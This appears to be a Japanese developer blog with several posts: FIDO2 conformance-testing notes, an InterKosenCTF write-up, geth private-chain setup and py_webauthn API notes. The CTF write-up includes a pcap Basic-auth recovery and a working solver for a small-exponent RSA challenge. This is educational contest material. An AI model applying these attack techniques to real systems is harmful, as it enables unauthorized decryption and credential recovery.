【 FIDO Conformance Toolsメモ 】イントロダクション

はじめに

FIDO Conformance Toolsのテストのクリアを目指してやっていきます。これはその奮闘記です。
そもそもWebAuthnのRelying Party実装ってどうやるの?という方は以前、資料を作ったので目を通していただけると幸いです。

www.slideshare.net

こちら以外にも実装に役立ちそうなリンクを参考に貼っておきますので合わせて見ていただければと思います。

FIDO Conformance Toolsの取得

そもそもFIDO Conformance Toolsはどうやって取得できるのか説明します。
テストツールは誰でも取得できる訳ではなく、以下のページからテストツールへのアクセスを要求して承認される必要があります。

fidoalliance.org

テストツールへのアクセス要求画面は以下のようになっています。承認されると数日後にテストツールのURLやらID、パスワードなどがメールで届きます。 f:id:kent056-n:20190219212321p:plain

承認される条件はよくわかりませんが、自分はCompany NameとFIDO Memberが空欄のままで大丈夫でした。

テスト項目

そもそもどういったテストが行われるのかですが、以下に記載されている仕様を満たしていくイメージになります。

https://fidoalliance.org/specs/fido-v2.0-rd-20180702/fido-server-v2.0-rd-20180702.html

自分が利用しているバージョンv0.10.110(BETA)(BETA FIDO2)では合計158のテストが存在します。
テストの大項目としては以下のようになっています。

PublicKeyCredentialsCreation

  • Server-ServerAuthenticatorAttestationResponse-Resp-1 Test server processing ServerAuthenticatorAttestationResponse structure
  • Server-ServerAuthenticatorAttestationResponse-Resp-2 Test server processing CollectClientData
  • Server-ServerAuthenticatorAttestationResponse-Resp-3 Test server processing AttestationObject
  • Server-ServerAuthenticatorAttestationResponse-Resp-4 Test server support of the authentication algorithms
  • Server-ServerAuthenticatorAttestationResponse-Resp-5 Test server processing "packed" FULL attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-6 Test server processing "packed" SELF(SURROGATE) attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-7 Test server processing "none" attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-8 Test server processing "fido-u2f" attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-9 Test server processing "tpm" attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-A Test server processing "android-key" attestation
  • Server-ServerAuthenticatorAttestationResponse-Resp-B Test server processing "android-safetynet" attestation
  • Server-ServerPublicKeyCredentialCreationOptions-Req-1 Test server generating ServerPublicKeyCredentialCreationOptionsRequest

    GetAssertion

  • Server-ServerAuthenticatorAssertionResponse-Resp-1 Test server processing ServerAuthenticatorAssertionResponse structure
  • Server-ServerAuthenticatorAssertionResponse-Resp-2 Test server processing CollectClientData
  • Server-ServerAuthenticatorAssertionResponse-Resp-3 Test server processing authenticatorData
  • Server-ServerPublicKeyCredentialGetOptionsResponse-Req-1 Test server generating ServerPublicKeyCredentialGetOptionsResponse

    MDS

  • Server-ServerAuthenticatorAttestationResponse-Resp-1 Test server processing ServerAuthenticatorAttestationResponse structure

FIDO Conformance Toolについて

利用イメージ

今回利用しているテストツールのバージョンはv0.10.110(BETA)(BETA FIDO2)になります。
現状、macOSで動作するものではこちらのバージョンが最新のようです。
テストツールを起動すると以下のような表示がでてきます。自分はFIDO2 Testsをやっていきますが、FIDO2 以外も試せそうです。

f:id:kent056-n:20190219230454p:plain

FIDO2 Testsを選択すると以下のような画面が表示されます。
Server Testsにチェックを入れ、Server URL(http://localhost:3000など)を入力することで検証が行われます。

f:id:kent056-n:20190219230652p:plain

動作イメージ

まず、FIDO Conformance Toolsの動作イメージについて。
FIDO Conformance ToolsはElectron製であり、以下のようなに動作していそうです。

f:id:kent056-n:20190221200633p:plain

サーバーのURLを入力すると特定のパスに対してリクエストを送信し、そのレスポンスをチェックしているようです。
あくまで各パスに対してリクエストを送信し、レスポンスを検証しているだけなので、フロントエンドとバックエンドが分離しているような構成のRPの方がテストしやすいかもしれません。(サーバーサイドレンダリングしているバターンだとテストし辛そう??)

確認推奨事項

まず、テストする前に最低限以下を確認しておいた方が良さそうです。

  • FIDO Conformance Toolsがリクエストを送信するエンドポイントが用意されているか
  • FIDO Conformance Toolsが送信するパラメーターを受け取れる状態か
  • FIDO Conformance Toolsが検証できるようなレスポンスの形式か

上記についてそれぞれ説明していきます。

FIDO Conformance Toolsがリクエストを送信するエンドポイントが用意されているか

具体的に必要なエンドポイントは以下の4つになります。

  • /attestation/options
  • /attestation/result
  • /assertion/options
  • /assertion/result

それぞれのパスで行う処理に関しては以下に詳細に記載されているのでここでは割愛します。 techblog.yahoo.co.jp

FIDO Conformance Toolsが送信するパラメーターを受け取れる状態か

以下、実際にConformance Toolsから送信されていたパラメーターの一つになります。 f:id:kent056-n:20190219214045p:plain displayNameusernameattestationというkeyに対してvalueが入っているのが確認できます。
つまり、RP側で上記の名前でパラメーターを受け取るように実装していないと、ユーザー名が見つけられない等の思いがけないエラーとなります。
それぞれのパスに対して送信される具体的なリクエストはこちらを参考にすれば問題ないでしょう。
https://fidoalliance.org/specs/fido-v2.0-rd-20180702/fido-server-v2.0-rd-20180702.html#examples

FIDO Conformance Toolsが検証できるようなレスポンスの形式か

RPではConformance Toolsが送信したリクエストに対して、期待しているレスポンスを返さなければなりません。
そのためには、レスポンスがConformance Tools受け取れ検証できる形式でなければならないという前提があります。 具体的にどういったレスポンスを返せばよいのかも以下を参考にしてください。
https://fidoalliance.org/specs/fido-v2.0-rd-20180702/fido-server-v2.0-rd-20180702.html#examples

おわりに

何かしらの認証器で登録および認証ができ、今回紹介した内容をクリアすると大体スタートラインに立てたイメージです。 (↓自分のスタート時)

ここまでできたら、対応するAttestationを増やしたり、バリデーションの処理を増やしたりしてテストを地道にパスして行く作業に入ります。 自分もこの記事を書いている段階で passes : 129、falilures : 29 なのでまだまだ先は長いですが頑張っていきましょう。

f:id:kent056-n:20190219215910p:plain

引き続き、キリが良いタイミング(特定の項目を全部パスしたなど)で更新していこうと思います。

参考

https://techblog.yahoo.co.jp/advent-calendar-2018/webauthn/ https://fidoalliance.org/specs/fido-v2.0-rd-20180702/fido-server-v2.0-rd-20180702.html https://fidoalliance.org/certification/functional-certification/conformance/ https://github.com/fido-alliance/webauthn-demo https://medium.com/@herrjemand/introduction-to-webauthn-api-5fd1fb46c285 https://speakerdeck.com/ynojima/webauthn-from-the-relying-party-view

InterKosenCTF writeup

はじめに

cryptoは全部解くぞ!!という気持ちで始めたがOh my Hashで撃沈した。ついでに裏で開催されていたInsomni'hack Teaser 2019 CTF も撃沈した。 f:id:kent056-n:20190120213355p:plain

[Forensics 50pts]attack log

以下問題文。

Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end.

問題ファイルとしてpcapngファイルが降ってくる。中身を見るとHTTPの401 Unauthorizedのパケットが大量にある。ここで200 OKを返した通信もあるのではないかと思い,http.response.code == 200でフィルターする。それらしい通信が一個だけあったので中身を見てみる。 f:id:kent056-n:20190120212609p:plain Basic認証のパスワードがFLAGらしいのでデコードする。 KONSEN{bRut3F0rc3W0rk3D}

[Crypto 100pts]strengthened

以下問題文。

If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.

問題のファイルは以下の2つ。

from Crypto.PublicKey import RSA
from flag import flag

assert(flag.startswith("KOSENCTF"))

m = int(flag.encode("hex"), 16)
key = RSA.generate(2048, e=3)

while pow(m, key.e) < key.n:
    m = m << 1

c = pow(m, key.e, key.n)
print("c={}".format(c))
print("e={}".format(key.e))
print("n={}".format(key.n))
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
e=3
n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711

RSAにおいて,eが極端に小さく,m<\sqrt[e]{n} となる場合,RSAの暗号化c\ =\ m^{e}\ mod\ nの結果としてm^{e}が出力されてしまう(the Low Public Exponent Attack)。
そこで,この問題ではm^{e}nより大きくなるまで以下のコードでmを左シフトしている。

while pow(m, key.e) < key.n:
    m = m << 1

ここで,与えられた暗号文が生成された際に利用された初回のm^{e}nより小さく,上記のループに入ったと仮定する。上記のループはm^{e}\ >\ nとなった時点で抜けるので,nm^{e}がそれなりに近い値になっていると考えられる。よって,c\ =\ m^{e}\ mod\ nの商を総当たりで求め  c+i*n(i \in \mathbb{N}) からmがわかりそう。以下solverです。

import gmpy2
c = 4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053
n = 20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711
e = 3
me = c + n
m,result = gmpy2.iroot(me,e)
i = 1
while (result != True):
    i += 1
    me = c + (n * i)
    m,result = gmpy2.iroot(me,e)
    print("count: ", i)
    print("c + (n * {}) = {}".format(i, me))
print("m: ", m)

以下は実行結果の一部です。 c+n*5=m^{e} だったようです。

count:  5
c + (n * 5) = 105311740325742980859942104707091180342805911957035657467818137022730454181076036779262237017787017049925349441259159342861847710615658093927109378944740198833467642007364002105409310950821681950249309627389494153310001846927690005596770204655415219153192197901168177869373506128629323319168192745974564595080462364946926806853052749073775857112170315195509206042580667047459312341751936510062789774783728325744305249127478243259376016154742430127166441013782896079903794673935480021552096754315358128780299840376042979007409800776140214488191271283821922828437138882711469377891209591452244768562107740303752437956608
m:  47223582418329825209745914667971590820722714318452791326821588181662319399773846734427941516181423981487302118538346612769422888886822520261688728358369123097589459238242699552111899674856615315187592855552

FLAGはKOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

おわりに

楽しかったです。

CTFで使うWebツールまとめ(個人用)

はじめに

自分用のCTFで使うWebツールのリンク集です。
忘れたやつとか結構あるので適宜追加していく予定です。

crypto

web

rev

いろいろ

go-ethereum環境構築&動作確認めも

はじめに

個人的に動作確認した際のただのメモなので正確な手順は公式や他の記事を参考にしていただければ幸いです。

動作環境用意

環境

今回は以下の環境で動作検証を行なった。

VirtualBox 6.0.2 r128162 (Qt5.6.3)
Vagrant 2.2.2
Ubuntu 14.04.5 LTS, Trusty Tahr

環境構築は以下のコマンドで行う。

vagrant init ubuntu/trusty64
vagrant up

Gethのインストール(Ubuntu)

インストール方法は以下に記載されている。今回は Installing from PPA に沿ってインストールを行う。

github.com

$ sudo apt-get install software-properties-common
$ sudo add-apt-repository -y ppa:ethereum/ethereum
$ sudo apt-get update
$ sudo apt-get install ethereum

この度の動作確認時にインストールされたのは以下のバージョンだった。

$ geth version
WARN [01-19|07:13:43.244] Sanitizing cache to Go's GC limits       provided=1024 updated=331
Geth
Version: 1.8.21-stable
Git Commit: 9dc5d1a915ac0e0bd8429d6ac41df50eec91de5f
Architecture: amd64
Protocol Versions: [63 62]
Network Id: 1
Go Version: go1.10.4
Operating System: linux
GOPATH=
GOROOT=/usr/lib/go-1.10

動作確認手順

プライベート・ネットワークに接続

Genesisファイルの作成

Genesisファイルとは,ブロックチェーンの最初(Block番号 "0")のブロックであるGenesisブロックの情報が記述されたファイルである。
プライベート・ネットでは独自のブロックチェーンをやり取りするので,独自のGenesisブロックを定義したGenesisファイルを用意して利用する。
まず,任意の場所にブロック情報やノード情報など各種データを格納するディレクトリを作成する。

$ mkdir /home/vagrant/eth_private_net

作成したディレクトリにjson形式の下記の内容のgenesisファイルを作成する。

{
  "config": {
    "chainId": 15
  },
  "nonce": "0x0000000000000042",
  "timestamp": "0x0",
  "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "extraData": "",
  "gasLimit": "0x8000000",
  "difficulty": "0x4000",
  "mixhash": "0x0000000000000000000000000000000000000000000000000000000000000000",
  "coinbase": "0x3333333333333333333333333333333333333333",
  "alloc": {}
}

Gethをプライベート・ネットで起動

genesisブロックの初期化

genesisファイルの作成ができたら以下のコマンドを実行しブロックチェーン情報をgenesisファイルの内容で初期化する。
以下のコマンドを実行すると、--datadirで指定したディレクトリ以下にgenesisブロックのブロックチェーン情報が保存される。

$ geth --datadir /home/vagrant/eth_private_net init /home/vagrant/eth_private_net/genesis.json

gethの起動

以下のコマンドを実行してGethを起動する。

$ geth --networkid "15" --nodiscover --datadir "/home/vagrant/eth_private_net" console 2>> /home/vagrant/eth_private_net/geth_err.log

各オプションについては以下のとおり。

  • --networkid : ネットワーク識別子(0 ~ 3は予約済み)。

  • --nodiscover : 自分のノードを他のノードから検出できないようにする。

  • --datadir : データディレクトリの指定。

  • console : 対話型のJavaScriptコンソールを起動する。

  • --maxpeers 0 : ノードに接続できるノード数。0を指定すると他のノードとは接続しなくなる。

立ち上げたプライベート・ネットのGenesisブロックの情報がgenesisファイルに記載されたものになっているのか確認する。

> eth.getBlock(0)

etherの採掘

アカウントの作成

EthereumにはEOA(Externally Owned Account)とContractの2種類のアカウントが存在する。
ここでは,EOAアカウントの新規作成手順を示す。
eth.accountsコマンドを実行すると,このノード内で作成されたEOAのリストが表示される。現時点のようなアカウントが作成されていない状態だと下記のような表示になる。

> eth.accounts
[ ]

EOAの作成はpersonal.newAccount("passwd")コマンドで行う。passwdの部分は作成するEOAのパスワードになる。

> personal.newAccount("passwd")                                                           # 1つ目のアカウント作成
"0xce9603a4a222979ba0fcde0e39feb63cf632d135"
> eth.accounts
["0xce9603a4a222979ba0fcde0e39feb63cf632d135"]
> personal.newAccount("passwd")                                                           # 2つ目のアカウント作成
"0x50245736a8d54edd7e0cac74810eb1224d6ead03"
> eth.accounts
["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"]

Etherbase

Ethereumではマイニング成功時に報酬を受け取るアカウントをEtherbaseと言い,eth.coinbaseコマンドで報酬と紐づくEOAのアドレスを表示することができる。

> eth.coinbase
"0xce9603a4a222979ba0fcde0e39feb63cf632d135"

デフォルトではプライマリーのアカウント(eth.accounts[0]コマンドを実行して表示されるアドレスのEOA)がせっていされるが以下のコマンドで変更もできる。

> miner.setEtherbase(eth.accounts[1])
true
> eth.coinbase
"0x50245736a8d54edd7e0cac74810eb1224d6ead03"

etherの採掘

miner.start(thread_num)コマンドで採掘が開始される。thread_num によって何本のスレッドで採掘を実行するかを指定することができる。(指定しない場合は動作環境でのCPUコア数に設定されるらしい)

> miner.start()
null

停止は以下のコマンドで行うことができる。

> miner.stop()
null

採掘状況はeth.blockNumberコマンドで確認できる。また,採掘中かどうかはeth.miningコマンドで確認できる。採掘中であればtrue,そうでなければfalseが表示される。

> eth.blockNumber
1
> eth.mining
true

採掘内容はeth.getBlock(number)コマンドで確認できる。numberに任意のブロック高を指定すると、そのブロック高のブロック情報を表示することができる。

> eth.getBlock(0)
{
  difficulty: 16384,
  extraData: "0x",
  gasLimit: 134217728,
  gasUsed: 0,
  hash: "0x7b2e8be699df0d329cc74a99271ff7720e2875cd2c4dd0b419ec60d1fe7e0432",
  logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  miner: "0x3333333333333333333333333333333333333333",
  mixHash: "0x0000000000000000000000000000000000000000000000000000000000000000",
  nonce: "0x0000000000000042",
  number: 0,
  parentHash: "0x0000000000000000000000000000000000000000000000000000000000000000",
  receiptsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
  sha3Uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347",
  size: 507,
  stateRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
  timestamp: 0,
  totalDifficulty: 16384,
  transactions: [],
  transactionsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
  uncles: []
}

> eth.getBlock(1)
{
  difficulty: 131072,
  extraData: "0xd883010815846765746888676f312e31302e34856c696e7578",
  gasLimit: 134086657,
  gasUsed: 0,
  hash: "0x391fc5bd192bc90fbaf6bf51ad0721c55f1147640783745910aae95848d86f31",
  logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  miner: "0x50245736a8d54edd7e0cac74810eb1224d6ead03",
  mixHash: "0x999150e0ac733c083225c7e9d65a928e0489d59f4379e3d7f5f51754301634f1",
  nonce: "0x595696ed6b06cf5e",
  number: 1,
  parentHash: "0x7b2e8be699df0d329cc74a99271ff7720e2875cd2c4dd0b419ec60d1fe7e0432",
  receiptsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
  sha3Uncles: "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347",
  size: 537,
  stateRoot: "0xe8be75d3945c744d140ed5cf2a8a1397edc2098bdaa93d11db11dc15c1077392",
  timestamp: 1547736394,
  totalDifficulty: 147456,
  transactions: [],
  transactionsRoot: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",
  uncles: []
}

報酬の確認

以下のコマンド etherの持ち高の参照はeth.getBalance(address)コマンドで行うことができる。addressパラメータには持ち高を確認したいアカウントのアドレスを渡す。

> eth.accounts
["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"]
> eth.coinbase == eth.accounts[0]
false
> eth.coinbase == eth.accounts[1]
true
> eth.getBalance(eth.accounts[0])
0
> eth.getBalance(eth.accounts[1])
5000000000000000000

etherの送金

今回作成したアカウントのetherの持ち高を確認する。

> eth.accounts
["0xce9603a4a222979ba0fcde0e39feb63cf632d135", "0x50245736a8d54edd7e0cac74810eb1224d6ead03"]
> eth.getBalance(eth.accounts[0])
0

> eth.getBalance(eth.accounts[1])
5000000000000000000

送金の前に送金元のロックを解除する必要がある。

> personal.unlockAccount(eth.accounts[1])
Unlock account 0x50245736a8d54edd7e0cac74810eb1224d6ead03
Passphrase:
true

eth.sendTransactionコマンドで送金を行う。fromに送金元アドレス,toに宛先アドレス,valueに送金額を指定する。

> eth.sendTransaction({from: eth.accounts[1], to: eth.accounts[0], value: web3.toWei(1, "ether")})
"0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c"

実行結果としてトランザクションIDが返されるので確認する。

> eth.getTransaction("0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c")
{
  blockHash: "0x0000000000000000000000000000000000000000000000000000000000000000",
  blockNumber: null,
  from: "0x50245736a8d54edd7e0cac74810eb1224d6ead03",
  gas: 90000,
  gasPrice: 1000000000,
  hash: "0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c",
  input: "0x",
  nonce: 0,
  r: "0x9676139862249d573bfbc9d25ea992b883e6f6df0265198e11e6a40c3a646d8b",
  s: "0x2332aba6a836642ab9c4d6cc6fa5935ff2529872f26c929f94b8f746c7e0673b",
  to: "0xce9603a4a222979ba0fcde0e39feb63cf632d135",
  transactionIndex: 0,
  v: "0x1b",
  value: 1000000000000000000
}

マイニングを停止していると,このトランザクションがブロックに取り込まれず,送金が完了しない。マイニングを再開してしばらく経つと,トランザクションがブロックに取り込まれ,blockNumber の値が null から取り込まれたブロックの番号に変更される。

> miner.start()

> eth.getTransaction("0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c")
{
  blockHash: "0x25c94d690483015ed86ac96156523799ce09066e58b1a86b08448ae25a83fee8",
  blockNumber: 2,
  from: "0x50245736a8d54edd7e0cac74810eb1224d6ead03",
  gas: 90000,
  gasPrice: 1000000000,
  hash: "0xcf632c7958bbf108d64e28b4b708b5bab457874acf5897ce13bded7fe2c84f3c",
  input: "0x",
  nonce: 0,
  r: "0x9676139862249d573bfbc9d25ea992b883e6f6df0265198e11e6a40c3a646d8b",
  s: "0x2332aba6a836642ab9c4d6cc6fa5935ff2529872f26c929f94b8f746c7e0673b",
  to: "0xce9603a4a222979ba0fcde0e39feb63cf632d135",
  transactionIndex: 0,
  v: "0x1b",
  value: 1000000000000000000
}

トランザクションがブロックに取り込まれ送金が完了するとaccounts[0] の残高が増えていることが確認できる。

> web3.fromWei(eth.getBalance(eth.accounts[0]), "ether")
1

コンソールの終了はexitで行う。

> exit

おわりに

次はスマートコントラクトの作成と実行の手順を残そうと思う。

参考

WebAuthnライブラリ調査めも(PyWebAuthn)

WebAuthnライブラリ調査めも(PyWebAuthn)

はじめに

そろそろ自分でもWebAuthnのライブラリを作りたいと思い、その前に既存の WebAuthnライブラリを調査した際のメモ。
今回調査したのは以下のpy_webauthnというpythonのライブラリ。

github.com

結論から言うと、py_webauthnを利用することで以下のことができた。

  • navigator.credentials.create()で必要な引数の生成
  • attestationの検証
  • navigator.credentials.get()で必要な引数の生成
  • assertionの検証

検証環境

色々試してるときは以下の環境で行なっていました。

Python 3.7.1
pip 18.1
Google Chrome 71.0.3578.98

インストールはこんな感じでできます。

pip install webauthn

今回はversion0.4で試しました。
もちろんversionが更新され次第モジュールの中身はが変わる思いますので、詳細は公式のリポジトリやドキュメントを参照いただければ幸いです。

関数

webauthn.WebAuthnMakeCredentialOptions()

navigator.credentials.create()のオプションを生成。

make_credential_options = webauthn.WebAuthnMakeCredentialOptions(
    challenge,
    rp_name,
    rp_id,
    user_id,
    username,
    display_name,
    icon_url)

    return jsonify(make_credential_options.registration_dict)

IN

名前 説明 サンプル
challenge 乱数 eUh0QEZmFFIB9liCconUwrIInAg1wr5F
rp_name RPの名前 localhost
rp_id RPの識別子 localhost
user_id ユーザーの識別子 mboMB0WRtZtXwLDfv8gp
username ユーザー名 hoge
display_name ユーザーの表示名 hoge
icon_url ユーザーのアイコン 'https://excample.com'

ここで引数として指定しないnavigator.credentials.create()のオプションはモジュールが内部で持っており、指定できなさそう。

OUT

名前 説明 サンプル
make_credential_options オブジェクト
make_credential_options.registration_dict navigator.credentials.create() で利用する引数 {'challenge': 'MwBz8Jfjy9DzkwL8OfLYL8i0NxXFtC3t', 'rp': {'name': 'localhost', 'id': 'localhost'}, 'user': {'id': 'nlCeE9NB4OjUjNth5RnU', 'name': 'fuga', 'displayName': 'fuga', 'icon': 'https://example.com'}, 'pubKeyCredParams': [{'alg': -7, 'type': 'public-key'}, {'alg': -257, 'type': 'public-key'}, {'alg': -37, 'type': 'public-key'}], 'timeout': 60000, 'excludeCredentials': [], 'attestation': 'direct', 'extensions': {'webauthn.loc': True}}

webauthn.WebAuthnAssertionOptions()

navigator.credentials.get()のオプションを生成。

webauthn_assertion_options = webauthn.WebAuthnAssertionOptions(
    webauthn_user,
    challenge)

IN

名前 説明 サンプル
webauthn_user オブジェクト nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161)
challenge 乱数 eUh0QEZmFFIB9liCconUwrIInAg1wr5F

webauthn.WebAuthnUser

webauthn_user = webauthn.WebAuthnUser(
    user.id,
    user.username,
    user.display_name,
    user.icon_url,
    user.credential_id,
    user.pub_key,
    user.sign_count,
    user.rp_id)

IN

名前 説明 サンプル
id ユーザーの識別子 nlCeE9NB4OjUjNth5RnU
username ユーザー名 fuga
display_name ユーザーの表示名 fuga
icon_url ユーザーのアイコン https://example.com
credential_id 公開鍵に紐づく識別子 NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A
pub_key 公開鍵 b'pQECAyYgASFYIPBdJY7nJ6pQF4JjUwRjaq3_G5LofeGqfNUlZOhg0LgeIlggCHgIXCtgr--H4Kn2mfwfQ-JDeBhn1zKMu8leMAseTrw'
sign_count カウンタ 161
rp_id RPの識別子 localhost

OUT

名前 説明 サンプル
webauthn_user オブジェクト nlCeE9NB4OjUjNth5RnU (fuga, fuga, 161)

クラス

WebAuthnRegistrationResponse

Attestationの検証に必要なパラメーター(主にnavigator.credentials.createの戻り)を渡してオブジェクトを生成。 verifyメソッドを呼び出すことで検証を行う。

webauthn_registration_response = webauthn.WebAuthnRegistrationResponse(
    RP_ID,
    ORIGIN,
    registration_response,
    challenge,
    trust_anchor_dir,
    trusted_attestation_cert_required,
    self_attestation_permitted,
    none_attestation_permitted,
    uv_required=False)  # User Verification

try:
    webauthn_credential = webauthn_registration_response.verify()
except Exception as e:
    return jsonify({'fail': 'Registration failed. Error: {}'.format(e)})

IN

名前 説明 サンプル
RP_ID RPの識別子 localhost
ORIGIN RPのオリジン localhost
registration_response navigator.credentials.create()の戻り値を含むImmutableMultiDictオブジェクト ImmutableMultiDict([('id', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('rawId', 'NlMC9-6s84VC0Hl1_3o4Z6LewYNMMtGfhzWZRMZQO9nln7A7Lk4K1in9L4iqYE-a498HW3IoEAyQoYl3sRiY0A'), ('type', 'public-key'), ('attObj', 'o2NmbXRmcGFja2VkZ2F0dFN0bXSjY2FsZyZjc2lnWEgwRgIhAPcJ8rNHotiTW3KjTYxXwttQDV0hh3yIwy_nnlSz16hXAiEAjVR0qqjZ7PClJ7UAh3TmrdHIlg_3y3aVhSb_o4DEtZJjeDVjgVkCwjCCAr4wggGmoAMCAQICBHSG_cIwDQYJKoZIhvcNAQELBQAwLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMG8xCzAJBgNVBAYTAlNFMRIwEAYDVQQKDAlZdWJpY28gQUIxIjAgBgNVBAsMGUF1dGhlbnRpY2F0b3IgQXR0ZXN0YXRpb24xKDAmBgNVBAMMH1l1YmljbyBVMkYgRUUgU2VyaWFsIDE5NTUwMDM4NDIwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASVXfOt9yR9MXXv_ZzE8xpOh4664YEJVmFQ-ziLLl9lJ79XQJqlgaUNCsUvGERcChNUihNTyKTlmnBOUjvATevto2wwajAiBgkrBgEEAYLECgIEFTEuMy42LjEuNC4xLjQxNDgyLjEuMTATBgsrBgEEAYLlHAIBAQQEAwIFIDAhBgsrBgEEAYLlHAEBBAQSBBD4oBHzjApNFYAGFxEfntx9MAwGA1UdEwEB_wQCMAAwDQYJKoZIhvcNAQELBQADggEBADFcSIDmmlJ-OGaJvWn9CqhvSeueToVFQVVvqtALOgCKHdwB-Wx29mg2GpHiMsgQp5xjB0ybbnpG6x212FxESJ-GinZD0ipchi7APwPlhIvjgH16zVX44a4e4hOsc6tLIOP71SaMsHuHgCcdH0vg5d2sc006WJe9TXO6fzV-ogjJnYpNKQLmCXoAXE3JBNwKGBIOCvfQDPyWmiiG5bGxYfPty8Z3pnjX-1MDnM2hhr40ulMxlSNDnX_ZSnDyMGIbk8TOQmjTF02UO8auP8k3wt5D1rROIRU9-FCSX5WQYi68RuDrGMZB8P5-byoJqbKQdxn2LmE1oZAyohPAmLcoPO5oYXV0aERhdGFYxEmWDeWIDoxodDQXD2R2YFuP5K65ooYyx5lc87qDHZdjQQAAAKH4oBHzjApNFYAGFxEfntx9AEA2UwL37qzzhULQeXX_ejhnot7Bg0wy0Z-HNZlExlA72eWfsDsuTgrWKf0viKpgT5rj3wdbcigQDJChiXexGJjQpQECAyYgASFYIPBdJY7nJ6pQF4JjUwRjaq3_G5LofeGqfNUlZOhg0LgeIlggCHgIXCtgr--H4Kn2mfwfQ-JDeBhn1zKMu8leMAseTrw'), ('clientData', 'eyJjaGFsbGVuZ2UiOiJNd0J6OEpmank5RHprd0w4T2ZMWUw4aTBOeFhGdEMzdCIsIm9yaWdpbiI6Imh0dHBzOi8vbG9jYWxob3N0OjUwMDAiLCJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIn0'), ('registrationClientExtensions', '{}')])
challenge 乱数 eUh0QEZmFFIB9liCconUwrIInAg1wr5F
trust_anchor_dir 証明書を配置するディレクト /py_webauthn/flask_demo/trusted_attestation_roots
trusted_attestation_cert_required 信頼されたattestation certを要求するか True
self_attestation_permitted self attestationを許可するか False
none_attestation_permitted, attestationの検証をするかどうか True
uv_required UserVerificationを要求するか False

registration_responseはImmutableMultiDictオブジェクトである必要がある。以下のようにフロントエンドから送信することでImmutableMultiDictオブジェクトとして扱うことができるようだ。

